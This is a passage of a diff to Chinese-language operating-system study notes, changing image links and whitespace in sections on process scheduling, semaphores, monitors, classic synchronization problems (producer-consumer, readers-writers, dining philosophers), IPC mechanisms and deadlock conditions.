+Ⅳ 通信方面
 
-线程间可以通过直接读写同一进程中的数据进行通信，但是进程通信需要借助 IPC。
+线程间可以通过直接读写同一进程中的数据进行通信，但是进程通信需要借助 IPC。
 
-## 进程状态的切换
+## 进程状态的切换
 
-<div align="center"> <img src="pics/ProcessState.png" width="500"/> </div><br>
+<img src="index_files/ProcessState.png" width="500"/>
 
-- 就绪状态（ready）：等待被调度
-- 运行状态（running）
-- 阻塞状态（waiting）：等待资源
+- 就绪状态（ready）：等待被调度
+- 运行状态（running）
+- 阻塞状态（waiting）：等待资源
 
 应该注意以下内容：
 
-- 只有就绪态和运行态可以相互转换，其它的都是单向转换。就绪状态的进程通过调度算法从而获得 CPU 时间，转为运行状态；而运行状态的进程，在分配给它的 CPU 时间片用完之后就会转为就绪状态，等待下一次调度。
-- 阻塞状态是缺少需要的资源从而由运行状态转换而来，但是该资源不包括 CPU 时间，缺少 CPU 时间会从运行态转换为就绪态。
+- 只有就绪态和运行态可以相互转换，其它的都是单向转换。就绪状态的进程通过调度算法从而获得 CPU 时间，转为运行状态；而运行状态的进程，在分配给它的 CPU 时间片用完之后就会转为就绪状态，等待下一次调度。
+- 阻塞状态是缺少需要的资源从而由运行状态转换而来，但是该资源不包括 CPU 时间，缺少 CPU 时间会从运行态转换为就绪态。
 
-## 进程调度算法
+## 进程调度算法
 
 不同环境的调度算法目标不同，因此需要针对不同环境来讨论调度算法。
 
-### 1. 批处理系统
+### 1. 批处理系统
 
 批处理系统没有太多的用户操作，在该系统中，调度算法目标是保证吞吐量和周转时间（从提交到终止的时间）。
 
-**1.1 先来先服务 first-come first-serverd（FCFS）** 
+**1.1 先来先服务 first-come first-serverd（FCFS）**
 
 按照请求的顺序进行调度。
 
 有利于长作业，但不利于短作业，因为短作业必须一直等待前面的长作业执行完毕才能执行，而长作业又需要执行很长时间，造成了短作业等待时间过长。
 
-**1.2 短作业优先 shortest job first（SJF）** 
+**1.2 短作业优先 shortest job first（SJF）**
 
 按估计运行时间最短的顺序进行调度。
 
 长作业有可能会饿死，处于一直等待短作业执行完毕的状态。因为如果一直有短作业到来，那么长作业永远得不到调度。
 
-**1.3 最短剩余时间优先 shortest remaining time next（SRTN）** 
+**1.3 最短剩余时间优先 shortest remaining time next（SRTN）**
 
 按估计剩余时间最短的顺序进行调度。
 
-### 2. 交互式系统
+### 2. 交互式系统
 
 交互式系统有大量的用户交互操作，在该系统中调度算法的目标是快速地进行响应。
 
-**2.1 时间片轮转** 
+**2.1 时间片轮转**
 
-将所有就绪进程按 FCFS 的原则排成一个队列，每次调度时，把 CPU 时间分配给队首进程，该进程可以执行一个时间片。当时间片用完时，由计时器发出时钟中断，调度程序便停止该进程的执行，并将它送往就绪队列的末尾，同时继续把 CPU 时间分配给队首的进程。
+将所有就绪进程按 FCFS 的原则排成一个队列，每次调度时，把 CPU 时间分配给队首进程，该进程可以执行一个时间片。当时间片用完时，由计时器发出时钟中断，调度程序便停止该进程的执行，并将它送往就绪队列的末尾，同时继续把 CPU 时间分配给队首的进程。
 
 时间片轮转算法的效率和时间片的大小有很大关系：
 
-- 因为进程切换都要保存进程的信息并且载入新进程的信息，如果时间片太小，会导致进程切换得太频繁，在进程切换上就会花过多时间。
-- 而如果时间片过长，那么实时性就不能得到保证。
+- 因为进程切换都要保存进程的信息并且载入新进程的信息，如果时间片太小，会导致进程切换得太频繁，在进程切换上就会花过多时间。
+- 而如果时间片过长，那么实时性就不能得到保证。
 
-<div align="center"> <img src="pics/8c662999-c16c-481c-9f40-1fdba5bc9167.png"/> </div><br>
+![](index_files/8c662999-c16c-481c-9f40-1fdba5bc9167.png)
 
-**2.2 优先级调度** 
+**2.2 优先级调度**
 
 为每个进程分配一个优先级，按优先级进行调度。
 
 为了防止低优先级的进程永远等不到调度，可以随着时间的推移增加等待进程的优先级。
 
-**2.3 多级反馈队列** 
+**2.3 多级反馈队列**
 
-一个进程需要执行 100 个时间片，如果采用时间片轮转调度算法，那么需要交换 100 次。
+一个进程需要执行 100 个时间片，如果采用时间片轮转调度算法，那么需要交换 100 次。
 
-多级队列是为这种需要连续执行多个时间片的进程考虑，它设置了多个队列，每个队列时间片大小都不同，例如 1,2,4,8,..。进程在第一个队列没执行完，就会被移到下一个队列。这种方式下，之前的进程只需要交换 7 次。
+多级队列是为这种需要连续执行多个时间片的进程考虑，它设置了多个队列，每个队列时间片大小都不同，例如 1,2,4,8,..。进程在第一个队列没执行完，就会被移到下一个队列。这种方式下，之前的进程只需要交换 7 次。
 
 每个队列优先权也不同，最上面的优先权最高。因此只有上一个队列没有进程在排队，才能调度当前队列上的进程。
 
 可以将这种调度算法看成是时间片轮转调度算法和优先级调度算法的结合。
 
-<div align="center"> <img src="pics/042cf928-3c8e-4815-ae9c-f2780202c68f.png"/> </div><br>
+![](index_files/042cf928-3c8e-4815-ae9c-f2780202c68f.png)
 
-### 3. 实时系统
+### 3. 实时系统
 
 实时系统要求一个请求在一个确定时间内得到响应。
 
 分为硬实时和软实时，前者必须满足绝对的截止时间，后者可以容忍一定的超时。
 
-## 进程同步
+## 进程同步
 
-### 1. 临界区
+### 1. 临界区
 
 对临界资源进行访问的那段代码称为临界区。
 
 为了互斥访问临界资源，每个进程在进入临界区之前，需要先进行检查。
 
 ```html
-// entry section
-// critical section;
-// exit section
+// entry section
+// critical section;
+// exit section
 ```
 
-### 2. 同步与互斥
+### 2. 同步与互斥
 
-- 同步：多个进程按一定顺序执行；
-- 互斥：多个进程在同一时刻只有一个进程能进入临界区。
+- 同步：多个进程按一定顺序执行；
+- 互斥：多个进程在同一时刻只有一个进程能进入临界区。
 
-### 3. 信号量
+### 3. 信号量
 
-信号量（Semaphore）是一个整型变量，可以对其执行 down 和 up 操作，也就是常见的 P 和 V 操作。
+信号量（Semaphore）是一个整型变量，可以对其执行 down 和 up 操作，也就是常见的 P 和 V 操作。
 
--  **down**  : 如果信号量大于 0 ，执行 -1 操作；如果信号量等于 0，进程睡眠，等待信号量大于 0；
--  **up** ：对信号量执行 +1 操作，唤醒睡眠的进程让其完成 down 操作。
+- **down** : 如果信号量大于 0 ，执行 -1 操作；如果信号量等于 0，进程睡眠，等待信号量大于 0；
+- **up**：对信号量执行 +1 操作，唤醒睡眠的进程让其完成 down 操作。
 
-down 和 up 操作需要被设计成原语，不可分割，通常的做法是在执行这些操作的时候屏蔽中断。
+down 和 up 操作需要被设计成原语，不可分割，通常的做法是在执行这些操作的时候屏蔽中断。
 
-如果信号量的取值只能为 0 或者 1，那么就成为了  **互斥量（Mutex）** ，0 表示临界区已经加锁，1 表示临界区解锁。
+如果信号量的取值只能为 0 或者 1，那么就成为了 **互斥量（Mutex）**，0 表示临界区已经加锁，1 表示临界区解锁。
 
 ```c
-typedef int semaphore;
-semaphore mutex = 1;
-void P1() {
-    down(&mutex);
-    // 临界区
-    up(&mutex);
+typedef int semaphore;
+semaphore mutex = 1;
+void P1() {
+    down(&mutex);
+    // 临界区
+    up(&mutex);
 }
 
-void P2() {
-    down(&mutex);
-    // 临界区
-    up(&mutex);
+void P2() {
+    down(&mutex);
+    // 临界区
+    up(&mutex);
 }
 ```
 
-<font size=3>  **使用信号量实现生产者-消费者问题**  </font> </br>
+<font size=3> **使用信号量实现生产者-消费者问题** </font> </br>
 
 问题描述：使用一个缓冲区来保存物品，只有缓冲区没有满，生产者才可以放入物品；只有缓冲区不为空，消费者才可以拿走物品。
 
-因为缓冲区属于临界资源，因此需要使用一个互斥量 mutex 来控制对缓冲区的互斥访问。
+因为缓冲区属于临界资源，因此需要使用一个互斥量 mutex 来控制对缓冲区的互斥访问。
 
-为了同步生产者和消费者的行为，需要记录缓冲区中物品的数量。数量可以使用信号量来进行统计，这里需要使用两个信号量：empty 记录空缓冲区的数量，full 记录满缓冲区的数量。其中，empty 信号量是在生产者进程中使用，当 empty 不为 0 时，生产者才可以放入物品；full 信号量是在消费者进程中使用，当 full 信号量不为 0 时，消费者才可以取走物品。
+为了同步生产者和消费者的行为，需要记录缓冲区中物品的数量。数量可以使用信号量来进行统计，这里需要使用两个信号量：empty 记录空缓冲区的数量，full 记录满缓冲区的数量。其中，empty 信号量是在生产者进程中使用，当 empty 不为 0 时，生产者才可以放入物品；full 信号量是在消费者进程中使用，当 full 信号量不为 0 时，消费者才可以取走物品。
 
-注意，不能先对缓冲区进行加锁，再测试信号量。也就是说，不能先执行 down(mutex) 再执行 down(empty)。如果这么做了，那么可能会出现这种情况：生产者对缓冲区加锁后，执行 down(empty) 操作，发现 empty = 0，此时生产者睡眠。消费者不能进入临界区，因为生产者对缓冲区加锁了，消费者就无法执行 up(empty) 操作，empty 永远都为 0，导致生产者永远等待下，不会释放锁，消费者因此也会永远等待下去。
+注意，不能先对缓冲区进行加锁，再测试信号量。也就是说，不能先执行 down(mutex) 再执行 down(empty)。如果这么做了，那么可能会出现这种情况：生产者对缓冲区加锁后，执行 down(empty) 操作，发现 empty = 0，此时生产者睡眠。消费者不能进入临界区，因为生产者对缓冲区加锁了，消费者就无法执行 up(empty) 操作，empty 永远都为 0，导致生产者永远等待下，不会释放锁，消费者因此也会永远等待下去。
 
 ```c
-#define N 100
-typedef int semaphore;
-semaphore mutex = 1;
-semaphore empty = N;
-semaphore full = 0;
+#define N 100
+typedef int semaphore;
+semaphore mutex = 1;
+semaphore empty = N;
+semaphore full = 0;
 
-void producer() {
-    while(TRUE) {
-        int item = produce_item();
-        down(&empty);
-        down(&mutex);
-        insert_item(item);
-        up(&mutex);
-        up(&full);
-    }
+void producer() {
+    while(TRUE) {
+        int item = produce_item();
+        down(&empty);
+        down(&mutex);
+        insert_item(item);
+        up(&mutex);
+        up(&full);
+    }
 }
 
-void consumer() {
-    while(TRUE) {
-        down(&full);
-        down(&mutex);
-        int item = remove_item();
-        consume_item(item);
-        up(&mutex);
-        up(&empty);
-    }
+void consumer() {
+    while(TRUE) {
+        down(&full);
+        down(&mutex);
+        int item = remove_item();
+        consume_item(item);
+        up(&mutex);
+        up(&empty);
+    }
 }
 ```
 
-### 4. 管程
+### 4. 管程
 
 使用信号量机制实现的生产者消费者问题需要客户端代码做很多控制，而管程把控制的代码独立出来，不仅不容易出错，也使得客户端代码调用更容易。
 
-c 语言不支持管程，下面的示例代码使用了类 Pascal 语言来描述管程。示例代码的管程提供了 insert() 和 remove() 方法，客户端代码通过调用这两个方法来解决生产者-消费者问题。
+c 语言不支持管程，下面的示例代码使用了类 Pascal 语言来描述管程。示例代码的管程提供了 insert() 和 remove() 方法，客户端代码通过调用这两个方法来解决生产者-消费者问题。
 
 ```pascal
-monitor ProducerConsumer
-    integer i;
-    condition c;
+monitor ProducerConsumer
+    integer i;
+    condition c;
 
-    procedure insert();
-    begin
-        // ...
-    end;
+    procedure insert();
+    begin
+        // ...
+    end;
 
-    procedure remove();
-    begin
-        // ...
-    end;
-end monitor;
+    procedure remove();
+    begin
+        // ...
+    end;
+end monitor;
 ```
 
 管程有一个重要特性：在一个时刻只能有一个进程使用管程。进程在无法继续执行的时候不能一直占用管程，否者其它进程永远不能使用管程。
 
-管程引入了  **条件变量**  以及相关的操作：**wait()** 和 **signal()** 来实现同步操作。对条件变量执行 wait() 操作会导致调用进程阻塞，把管程让出来给另一个进程持有。signal() 操作用于唤醒被阻塞的进程。
+管程引入了 **条件变量** 以及相关的操作：**wait()** 和 **signal()** 来实现同步操作。对条件变量执行 wait() 操作会导致调用进程阻塞，把管程让出来给另一个进程持有。signal() 操作用于唤醒被阻塞的进程。
 
-<font size=3> **使用管程实现生产者-消费者问题** </font><br>
+<font size=3>**使用管程实现生产者-消费者问题**</font><br>
 
 ```pascal
-// 管程
-monitor ProducerConsumer
-    condition full, empty;
-    integer count := 0;
-    condition c;
+// 管程
+monitor ProducerConsumer
+    condition full, empty;
+    integer count := 0;
+    condition c;
 
-    procedure insert(item: integer);
-    begin
-        if count = N then wait(full);
-        insert_item(item);
-        count := count + 1;
-        if count = 1 then signal(empty);
-    end;
+    procedure insert(item: integer);
+    begin
+        if count = N then wait(full);
+        insert_item(item);
+        count := count + 1;
+        if count = 1 then signal(empty);
+    end;
 
-    function remove: integer;
-    begin
-        if count = 0 then wait(empty);
-        remove = remove_item;
-        count := count - 1;
-        if count = N -1 then signal(full);
-    end;
-end monitor;
+    function remove: integer;
+    begin
+        if count = 0 then wait(empty);
+        remove = remove_item;
+        count := count - 1;
+        if count = N -1 then signal(full);
+    end;
+end monitor;
 
-// 生产者客户端
-procedure producer
+// 生产者客户端
+procedure producer
 begin
-    while true do
-    begin
-        item = produce_item;
-        ProducerConsumer.insert(item);
-    end
+    while true do
+    begin
+        item = produce_item;
+        ProducerConsumer.insert(item);
+    end
 end;
 
-// 消费者客户端
-procedure consumer
+// 消费者客户端
+procedure consumer
 begin
-    while true do
-    begin
-        item = ProducerConsumer.remove;
-        consume_item(item);
-    end
+    while true do
+    begin
+        item = ProducerConsumer.remove;
+        consume_item(item);
+    end
 end;
 ```
 
-## 经典同步问题
+## 经典同步问题
 
 生产者和消费者问题前面已经讨论过了。
 
-### 1. 读者-写者问题
+### 1. 读者-写者问题
 
 允许多个进程同时对数据进行读操作，但是不允许读和写以及写和写操作同时发生。
 
-一个整型变量 count 记录在对数据进行读操作的进程数量，一个互斥量 count_mutex 用于对 count 加锁，一个互斥量 data_mutex 用于对读写的数据加锁。
+一个整型变量 count 记录在对数据进行读操作的进程数量，一个互斥量 count_mutex 用于对 count 加锁，一个互斥量 data_mutex 用于对读写的数据加锁。
 
 ```c
-typedef int semaphore;
-semaphore count_mutex = 1;
-semaphore data_mutex = 1;
-int count = 0;
+typedef int semaphore;
+semaphore count_mutex = 1;
+semaphore data_mutex = 1;
+int count = 0;
 
-void reader() {
-    while(TRUE) {
-        down(&count_mutex);
-        count++;
-        if(count == 1) down(&data_mutex); // 第一个读者需要对数据进行加锁，防止写进程访问
-        up(&count_mutex);
-        read();
-        down(&count_mutex);
-        count--;
-        if(count == 0) up(&data_mutex);
-        up(&count_mutex);
-    }
+void reader() {
+    while(TRUE) {
+        down(&count_mutex);
+        count++;
+        if(count == 1) down(&data_mutex); // 第一个读者需要对数据进行加锁，防止写进程访问
+        up(&count_mutex);
+        read();
+        down(&count_mutex);
+        count--;
+        if(count == 0) up(&data_mutex);
+        up(&count_mutex);
+    }
 }
 
-void writer() {
-    while(TRUE) {
-        down(&data_mutex);
-        write();
-        up(&data_mutex);
-    }
+void writer() {
+    while(TRUE) {
+        down(&data_mutex);
+        write();
+        up(&data_mutex);
+    }
 }
 ```
 
-以下内容由 [@Bandi Yugandhar](https://github.com/yugandharbandi) 提供。
+以下内容由 [@Bandi Yugandhar](https://github.com/yugandharbandi) 提供。
 
-The first case may result Writer to starve. This case favous Writers i.e no writer, once added to the queue, shall be kept waiting longer than absolutely necessary(only when there are readers that entered the queue before the writer).
+The first case may result Writer to starve. This case favous Writers i.e no writer, once added to the queue, shall be kept waiting longer than absolutely necessary(only when there are readers that entered the queue before the writer).
 
 ```source-c
-int readcount, writecount;                   //(initial value = 0)
-semaphore rmutex, wmutex, readLock, resource; //(initial value = 1)
+int readcount, writecount;                   //(initial value = 0)
+semaphore rmutex, wmutex, readLock, resource; //(initial value = 1)
 
 //READER
-void reader() {
-<ENTRY Section>
- down(&readLock);                 //  reader is trying to enter
- down(&rmutex);                  //   lock to increase readcount
-  readcount++;                 
-  if (readcount == 1)          
-   down(&resource);              //if you are the first reader then lock  the resource
- up(&rmutex);                  //release  for other readers
- up(&readLock);                 //Done with trying to access the resource
+void reader() {
+<ENTRY Section>
+ down(&readLock);                 //  reader is trying to enter
+ down(&rmutex);                  //   lock to increase readcount
+  readcount++;                 
+  if (readcount == 1)          
+   down(&resource);              //if you are the first reader then lock  the resource
+ up(&rmutex);                  //release  for other readers
+ up(&readLock);                 //Done with trying to access the resource
 
-<CRITICAL Section>
-//reading is performed
+<CRITICAL Section>
+//reading is performed
 
-<EXIT Section>
- down(&rmutex);                  //reserve exit section - avoids race condition with readers
- readcount--;                       //indicate you're leaving
-  if (readcount == 0)          //checks if you are last reader leaving
-   up(&resource);              //if last, you must release the locked resource
- up(&rmutex);                  //release exit section for other readers
+<EXIT Section>
+ down(&rmutex);                  //reserve exit section - avoids race condition with readers
+ readcount--;                       //indicate you're leaving
+  if (readcount == 0)          //checks if you are last reader leaving
+   up(&resource);              //if last, you must release the locked resource
+ up(&rmutex);                  //release exit section for other readers
 }
 
 //WRITER
-void writer() {
-  <ENTRY Section>
-  down(&wmutex);                  //reserve entry section for writers - avoids race conditions
-  writecount++;                //report yourself as a writer entering
-  if (writecount == 1)         //checks if you're first writer
-   down(&readLock);               //if you're first, then you must lock the readers out. Prevent them from trying to enter CS
-  up(&wmutex);                  //release entry section
+void writer() {
+  <ENTRY Section>
+  down(&wmutex);                  //reserve entry section for writers - avoids race conditions
+  writecount++;                //report yourself as a writer entering
+  if (writecount == 1)         //checks if you're first writer
+   down(&readLock);               //if you're first, then you must lock the readers out. Prevent them from trying to enter CS
+  up(&wmutex);                  //release entry section
 
-<CRITICAL Section>
- down(&resource);                //reserve the resource for yourself - prevents other writers from simultaneously editing the shared resource
-  //writing is performed
- up(&resource);                //release file
+<CRITICAL Section>
+ down(&resource);                //reserve the resource for yourself - prevents other writers from simultaneously editing the shared resource
+  //writing is performed
+ up(&resource);                //release file
 
-<EXIT Section>
-  down(&wmutex);                  //reserve exit section
-  writecount--;                //indicate you're leaving
-  if (writecount == 0)         //checks if you're the last writer
-   up(&readLock);               //if you're last writer, you must unlock the readers. Allows them to try enter CS for reading
-  up(&wmutex);                  //release exit section
+<EXIT Section>
+  down(&wmutex);                  //reserve exit section
+  writecount--;                //indicate you're leaving
+  if (writecount == 0)         //checks if you're the last writer
+   up(&readLock);               //if you're last writer, you must unlock the readers. Allows them to try enter CS for reading
+  up(&wmutex);                  //release exit section
 }
 ```
 
-We can observe that every reader is forced to acquire ReadLock. On the otherhand, writers doesn’t need to lock individually. Once the first writer locks the ReadLock, it will be released only when there is no writer left in the queue.
+We can observe that every reader is forced to acquire ReadLock. On the otherhand, writers doesn’t need to lock individually. Once the first writer locks the ReadLock, it will be released only when there is no writer left in the queue.
 
-From the both cases we observed that either reader or writer has to starve. Below solutionadds the constraint that no thread shall be allowed to starve; that is, the operation of obtaining a lock on the shared data will always terminate in a bounded amount of time.
+From the both cases we observed that either reader or writer has to starve. Below solutionadds the constraint that no thread shall be allowed to starve; that is, the operation of obtaining a lock on the shared data will always terminate in a bounded amount of time.
 
 ```source-c
-int readCount;                  // init to 0; number of readers currently accessing resource
+int readCount;                  // init to 0; number of readers currently accessing resource
 
-// all semaphores initialised to 1
-Semaphore resourceAccess;       // controls access (read/write) to the resource
-Semaphore readCountAccess;      // for syncing changes to shared variable readCount
-Semaphore serviceQueue;         // FAIRNESS: preserves ordering of requests (signaling must be FIFO)
+// all semaphores initialised to 1
+Semaphore resourceAccess;       // controls access (read/write) to the resource
+Semaphore readCountAccess;      // for syncing changes to shared variable readCount
+Semaphore serviceQueue;         // FAIRNESS: preserves ordering of requests (signaling must be FIFO)
 
-void writer()
-{ 
-    down(&serviceQueue);           // wait in line to be servicexs
-    // <ENTER>
-    down(&resourceAccess);         // request exclusive access to resource
-    // </ENTER>
-    up(&serviceQueue);           // let next in line be serviced
+void writer()
+{ 
+    down(&serviceQueue);           // wait in line to be servicexs
+    // <ENTER>
+    down(&resourceAccess);         // request exclusive access to resource
+    // </ENTER>
+    up(&serviceQueue);           // let next in line be serviced
 
-    // <WRITE>
-    writeResource();            // writing is performed
-    // </WRITE>
+    // <WRITE>
+    writeResource();            // writing is performed
+    // </WRITE>
 
-    // <EXIT>
-    up(&resourceAccess);         // release resource access for next reader/writer
-    // </EXIT>
+    // <EXIT>
+    up(&resourceAccess);         // release resource access for next reader/writer
+    // </EXIT>
 }
 
-void reader()
-{ 
-    down(&serviceQueue);           // wait in line to be serviced
-    down(&readCountAccess);        // request exclusive access to readCount
-    // <ENTER>
-    if (readCount == 0)         // if there are no readers already reading:
-        down(&resourceAccess);     // request resource access for readers (writers blocked)
-    readCount++;                // update count of active readers
-    // </ENTER>
-    up(&serviceQueue);           // let next in line be serviced
-    up(&readCountAccess);        // release access to readCount
+void reader()
+{ 
+    down(&serviceQueue);           // wait in line to be serviced
+    down(&readCountAccess);        // request exclusive access to readCount
+    // <ENTER>
+    if (readCount == 0)         // if there are no readers already reading:
+        down(&resourceAccess);     // request resource access for readers (writers blocked)
+    readCount++;                // update count of active readers
+    // </ENTER>
+    up(&serviceQueue);           // let next in line be serviced
+    up(&readCountAccess);        // release access to readCount
 
-    // <READ>
-    readResource();             // reading is performed
-    // </READ>
+    // <READ>
+    readResource();             // reading is performed
+    // </READ>
 
-    down(&readCountAccess);        // request exclusive access to readCount
-    // <EXIT>
-    readCount--;                // update count of active readers
-    if (readCount == 0)         // if there are no readers left:
-        up(&resourceAccess);     // release resource access for all
-    // </EXIT>
-    up(&readCountAccess);        // release access to readCount
+    down(&readCountAccess);        // request exclusive access to readCount
+    // <EXIT>
+    readCount--;                // update count of active readers
+    if (readCount == 0)         // if there are no readers left:
+        up(&resourceAccess);     // release resource access for all
+    // </EXIT>
+    up(&readCountAccess);        // release access to readCount
 }
 
 ```
 
 
-### 2. 哲学家进餐问题
+### 2. 哲学家进餐问题
 
-<div align="center"> <img src="pics/a9077f06-7584-4f2b-8c20-3a8e46928820.jpg"/> </div><br>
+![](index_files/a9077f06-7584-4f2b-8c20-3a8e46928820.jpg)
 
 五个哲学家围着一张圆桌，每个哲学家面前放着食物。哲学家的生活有两种交替活动：吃饭以及思考。当一个哲学家吃饭时，需要先拿起自己左右两边的两根筷子，并且一次只能拿起一根筷子。
 
 下面是一种错误的解法，考虑到如果所有哲学家同时拿起左手边的筷子，那么就无法拿起右手边的筷子，造成死锁。
 
 ```c
-#define N 5
+#define N 5
 
-void philosopher(int i) {
-    while(TRUE) {
-        think();
-        take(i);       // 拿起左边的筷子
-        take((i+1)%N); // 拿起右边的筷子
-        eat();
-        put(i);
-        put((i+1)%N);
-    }
+void philosopher(int i) {
+    while(TRUE) {
+        think();
+        take(i);       // 拿起左边的筷子
+        take((i+1)%N); // 拿起右边的筷子
+        eat();
+        put(i);
+        put((i+1)%N);
+    }
 }
 ```
 
 为了防止死锁的发生，可以设置两个条件：
 
-- 必须同时拿起左右两根筷子；
-- 只有在两个邻居都没有进餐的情况下才允许进餐。
+- 必须同时拿起左右两根筷子；
+- 只有在两个邻居都没有进餐的情况下才允许进餐。
 
 ```c
-#define N 5
-#define LEFT (i + N - 1) % N // 左邻居
-#define RIGHT (i + 1) % N    // 右邻居
-#define THINKING 0
-#define HUNGRY   1
-#define EATING   2
-typedef int semaphore;
-int state[N];                // 跟踪每个哲学家的状态
-semaphore mutex = 1;         // 临界区的互斥
-semaphore s[N];              // 每个哲学家一个信号量
+#define N 5
+#define LEFT (i + N - 1) % N // 左邻居
+#define RIGHT (i + 1) % N    // 右邻居
+#define THINKING 0
+#define HUNGRY   1
+#define EATING   2
+typedef int semaphore;
+int state[N];                // 跟踪每个哲学家的状态
+semaphore mutex = 1;         // 临界区的互斥
+semaphore s[N];              // 每个哲学家一个信号量
 
-void philosopher(int i) {
-    while(TRUE) {
-        think();
-        take_two(i);
-        eat();
-        put_two(i);
-    }
+void philosopher(int i) {
+    while(TRUE) {
+        think();
+        take_two(i);
+        eat();
+        put_two(i);
+    }
 }
 
-void take_two(int i) {
-    down(&mutex);
-    state[i] = HUNGRY;
-    test(i);
-    up(&mutex);
-    down(&s[i]);
+void take_two(int i) {
+    down(&mutex);
+    state[i] = HUNGRY;
+    test(i);
+    up(&mutex);
+    down(&s[i]);
 }
 
-void put_two(i) {
-    down(&mutex);
-    state[i] = THINKING;
-    test(LEFT);
-    test(RIGHT);
-    up(&mutex);
+void put_two(i) {
+    down(&mutex);
+    state[i] = THINKING;
+    test(LEFT);
+    test(RIGHT);
+    up(&mutex);
 }
 
-void test(i) {         // 尝试拿起两把筷子
-    if(state[i] == HUNGRY && state[LEFT] != EATING && state[RIGHT] !=EATING) {
-        state[i] = EATING;
-        up(&s[i]);
-    }
+void test(i) {         // 尝试拿起两把筷子
+    if(state[i] == HUNGRY && state[LEFT] != EATING && state[RIGHT] !=EATING) {
+        state[i] = EATING;
+        up(&s[i]);
+    }
 }
 ```
 
-## 进程通信
+## 进程通信
 
 进程同步与进程通信很容易混淆，它们的区别在于：
 
-- 进程同步：控制多个进程按一定顺序执行；
-- 进程通信：进程间传输信息。
+- 进程同步：控制多个进程按一定顺序执行；
+- 进程通信：进程间传输信息。
 
 进程通信是一种手段，而进程同步是一种目的。也可以说，为了能够达到进程同步的目的，需要让进程进行通信，传输一些进程同步所需要的信息。
 
-### 1. 管道
+### 1. 管道
 
-管道是通过调用 pipe 函数创建的，fd[0] 用于读，fd[1] 用于写。
+管道是通过调用 pipe 函数创建的，fd[0] 用于读，fd[1] 用于写。
 
 ```c
-#include <unistd.h>
-int pipe(int fd[2]);
+#include <unistd.h>
+int pipe(int fd[2]);
 ```
 
 它具有以下限制：
 
-- 只支持半双工通信（单向交替传输）；
-- 只能在父子进程中使用。
+- 只支持半双工通信（单向交替传输）；
+- 只能在父子进程中使用。
 
-<div align="center"> <img src="pics/53cd9ade-b0a6-4399-b4de-7f1fbd06cdfb.png"/> </div><br>
+![](index_files/53cd9ade-b0a6-4399-b4de-7f1fbd06cdfb.png)
 
-### 2. FIFO
+### 2. FIFO
 
 也称为命名管道，去除了管道只能在父子进程中使用的限制。
 
 ```c
-#include <sys/stat.h>
-int mkfifo(const char *path, mode_t mode);
-int mkfifoat(int fd, const char *path, mode_t mode);
+#include <sys/stat.h>
+int mkfifo(const char *path, mode_t mode);
+int mkfifoat(int fd, const char *path, mode_t mode);
 ```
 
-FIFO 常用于客户-服务器应用程序中，FIFO 用作汇聚点，在客户进程和服务器进程之间传递数据。
+FIFO 常用于客户-服务器应用程序中，FIFO 用作汇聚点，在客户进程和服务器进程之间传递数据。
 
-<div align="center"> <img src="pics/2ac50b81-d92a-4401-b9ec-f2113ecc3076.png"/> </div><br>
+![](index_files/2ac50b81-d92a-4401-b9ec-f2113ecc3076.png)
 
-### 3. 消息队列
+### 3. 消息队列
 
-相比于 FIFO，消息队列具有以下优点：
+相比于 FIFO，消息队列具有以下优点：
 
-- 消息队列可以独立于读写进程存在，从而避免了 FIFO 中同步管道的打开和关闭时可能产生的困难；
-- 避免了 FIFO 的同步阻塞问题，不需要进程自己提供同步方法；
-- 读进程可以根据消息类型有选择地接收消息，而不像 FIFO 那样只能默认地接收。
+- 消息队列可以独立于读写进程存在，从而避免了 FIFO 中同步管道的打开和关闭时可能产生的困难；
+- 避免了 FIFO 的同步阻塞问题，不需要进程自己提供同步方法；
+- 读进程可以根据消息类型有选择地接收消息，而不像 FIFO 那样只能默认地接收。
 
-### 4. 信号量
+### 4. 信号量
 
 它是一个计数器，用于为多个进程提供对共享数据对象的访问。
 
-### 5. 共享存储
+### 5. 共享存储
 
-允许多个进程共享一个给定的存储区。因为数据不需要在进程之间复制，所以这是最快的一种 IPC。
+允许多个进程共享一个给定的存储区。因为数据不需要在进程之间复制，所以这是最快的一种 IPC。
 
 需要使用信号量用来同步对共享存储的访问。
 
-多个进程可以将同一个文件映射到它们的地址空间从而实现共享内存。另外 XSI 共享内存不是使用文件，而是使用使用内存的匿名段。
+多个进程可以将同一个文件映射到它们的地址空间从而实现共享内存。另外 XSI 共享内存不是使用文件，而是使用使用内存的匿名段。
 
-### 6. 套接字
+### 6. 套接字
 
 与其它通信机制不同的是，它可用于不同机器间的进程通信。
 
-# 三、死锁
+# 三、死锁
 
-## 必要条件
+## 必要条件
 
-<div align="center"> <img src="pics/c037c901-7eae-4e31-a1e4-9d41329e5c3e.png"/> </div><br>
+![](index_files/c037c901-7eae-4e31-a1e4-9d41329e5c3e.png)
 
-- 互斥：每个资源要么已经分配给了一个进程，要么就是可用的。
-- 占有和等待：已经得到了某个资源的进程可以再请求新的资源。
-- 不可抢占：已经分配给一个进程的资源不能强制性地被抢占，它只能被占有它的进程显式地释放。
-- 环路等待：有两个或者两个以上的进程组成一条环路，该环路中的每个进程都在等待下一个进程所占有的资源。
+- 互斥：每个资源要么已经分配给了一个进程，要么就是可用的。
+- 占有和等待：已经得到了某个资源的进程可以再请求新的资源。
+- 不可抢占：已经分配给一个进程的资源不能强制性地被抢占，它只能被占有它的进程显式地释放。
+- 环路等待：有两个或者两个以上的进程组成一条环路，该环路中的每个进程都在等待下一个进程所占有的资源。
 
-## 处理方法
+## 处理方法
 
 主要有以下四种方法：
 
-- 鸵鸟策略
-- 死锁检测与死锁恢复
-- 死锁预防
-- 死锁避免
+- 鸵鸟策略
+- 死锁检测与死锁恢复
+- 死锁预防
+- 死锁避免
 
-## 鸵鸟策略
+## 鸵鸟策略
 
 把头埋在沙子里，假装根本没发生问题。
 
@@ -733,126 +692,126 @@ FIFO 常用于客户-服务器应用程序中，FIFO 用作汇聚点，在客户
 
 当发生死锁时不会对用户造成多大影响，或发生死锁的概率很低，可以采用鸵鸟策略。
 
-大多数操作系统，包括 Unix，Linux 和 Windows，处理死锁问题的办法仅仅是忽略它。
+大多数操作系统，包括 Unix，Linux 和 Windows，处理死锁问题的办法仅仅是忽略它。
 
-## 死锁检测与死锁恢复
+## 死锁检测与死锁恢复
 
 不试图阻止死锁，而是当检测到死锁发生时，采取措施进行恢复。
 
-### 1. 每种类型一个资源的死锁检测
+### 1. 每种类型一个资源的死锁检测
 
-<div align="center"> <img src="pics/b1fa0453-a4b0-4eae-a352-48acca8fff74.png"/> </div><br>
+![](index_files/b1fa0453-a4b0-4eae-a352-48acca8fff74.png)
 
